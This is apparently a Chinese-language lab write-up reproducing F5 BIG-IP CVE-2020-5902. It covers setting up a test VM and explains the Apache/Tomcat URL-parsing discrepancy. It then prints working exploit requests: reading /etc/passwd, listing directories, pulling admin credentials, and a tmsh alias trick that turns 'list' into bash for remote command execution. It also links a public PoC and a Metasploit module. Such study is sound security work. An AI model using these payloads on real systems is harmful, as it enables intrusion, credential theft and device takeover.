漏洞介绍

F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。

未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

漏洞范围

BIG-IP 15.x: 15.1.0/15.0.0

BIG-IP 14.x: 14.1.0 ~ 14.1.2

BIG-IP 13.x: 13.1.0 ~ 13.1.3

BIG-IP 12.x: 12.1.0 ~ 12.1.5

BIG-IP 11.x: 11.6.1 ~ 11.6.5

漏洞靶场

在登录页面注册,之后申请秘钥:https://www.f5.com.cn/trials/big-ip-virtual-edition

打开下载页面:https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2

选择版本,下载BIGIP-14.1.2-0.0.37.ALL-scsi.ova

放到VMware里运行镜像文件

image-20241014152548178

使用密码root/default登陆系统,第一次需要重置root密码

改为root/cve-2020-5902

image-20241014153423405

配置网卡信息,输入config

image-20241014154803501

这里设置自动获取IP地址,使用同一网段192.168.31.117

使用浏览器访问https://192.168.31.117,使用用户名为admin,口令为服务器登陆口令cve-2020-5902

image-20241014155137133

第一次登录需要改密码,仍然改为原来的admin/cve-2020-5902

image-20241014155657728

重置密码,使用新的密码登陆后台

image-20241014155942497

漏洞原理

F5 BIG-IP 设备前端采用 Apache 来接受用户请求,后端可同时处理 PHPJava 程序。而处理 Java 程序时,则是通过 AJP 协议,将 Apache 接收到的数据封装并流转给 Tomcat 。具体配置在 /etc/httpd/conf.d/proxy_ajp.conf 文件中,下面仅贴出关键配置。

1
2
3
4
5
6
7
8
# /etc/httpd/conf.d/proxy_ajp.conf

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

Apache 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*\.jsp 会进行最大限度的匹配,所以就会将完整的 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。

Tomcat 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符,

具体代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:parsePathParameters() 中。

image-20241014193252326

然后再将 /tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp 处理成 /tmui/tmui/locallb/workspace/fileRead.jsp ,具体处理代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:normalize()

image-20241014193357751

所以这次的权限绕过漏洞,实际上还是出在 ApacheTomcatURL 的解析差异。在绕过权限校验后,后台的功能代码基本上都能利用。

漏洞复现

任意文件读取

1
2
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://192.168.31.117/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

image-20241014160236391

任意目录读取

1
2
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
https://192.168.31.117/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

image-20241014161441591

命令执行

image-20241014193741683

image-20241014193759659

可以看到想要执行命令,那么就必须满足以下两个条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 命令的第一个指令必须是:create、delete、list、modify其中一个
public static JSONObject runTmshCommand(String command) {
String operation = command.split(" ")[0];
if (ShellCommandValidator.checkForBadShellCharacters(command) || !operation.equals("create") && !operation.equals("delete") && !operation.equals("list") && !operation.equals("modify")) {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}
}

//命令不能包含以下特殊字符
public static boolean checkForBadShellCharacters(String value) {
char[] cArray = value.toCharArray();

for(int i = 0; i < cArray.length; ++i) {
char c = cArray[i];
if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r') {
return true;
}
}

return false;
}

所以我们就得去查查 tmsh 的官方手册,看看有什么可以利用的地方。通过查阅手册,我们发现可以给命令定义别名。那么我们实际上可以将上面要求的 create、delete、list、modify 指定成 /bin/bash ,这样就可以执行任意系统命令了。

1
2
3
4
5
# 定义别名语法: 
create /cli alias [xx] command ["save /sys config"]

# 删除别名语法:
delete /cli alias [xx]

网上公开的执行命令 POC 步骤如下:

1
2
3
4
5
6
7
8
9
10
11
# 获取admin用户账号密码
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

1.修改alias劫持list命令为bash
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+/cli+alias+private+list+command+bash

3.执行bash文件
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx

4.还原list命令
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

https://github.com/jas502n/CVE-2020-5902

该脚本需要使用python2执行,修改CVE-2020-5902.py中的ip地址

1
python2 CVE-2020-5902.py

该脚本似乎不太稳定,需要反复尝试

image-20241014173507840

msf利用

需要注意,msf下CVE-2020-5902漏洞利用模块暂不稳定,需要反复尝试,运气好就能创建会话了

kali需要把NAT改成桥接

image-20241014170852620

image-20241014170921752

image-20241014171009386

image-20241014171245599

参考

https://xz.aliyun.com/t/8008?u_atoken=9530b4e95d2fc58cad3a280f94d5c697&u_asig=0a472f9117288935020968649e0119

https://xz.aliyun.com/t/8014?time__1311=n4%2BxnD0Dc7%3D7w4GqGNnmDUxYTQ4Rru0q7IPjdx

https://github.com/jas502n/CVE-2020-5902

https://xz.aliyun.com/t/8008?time__1311=n4%2BxnD0Dc7%3DCqD54GNnmBDRDhGCSYtKCDuCoD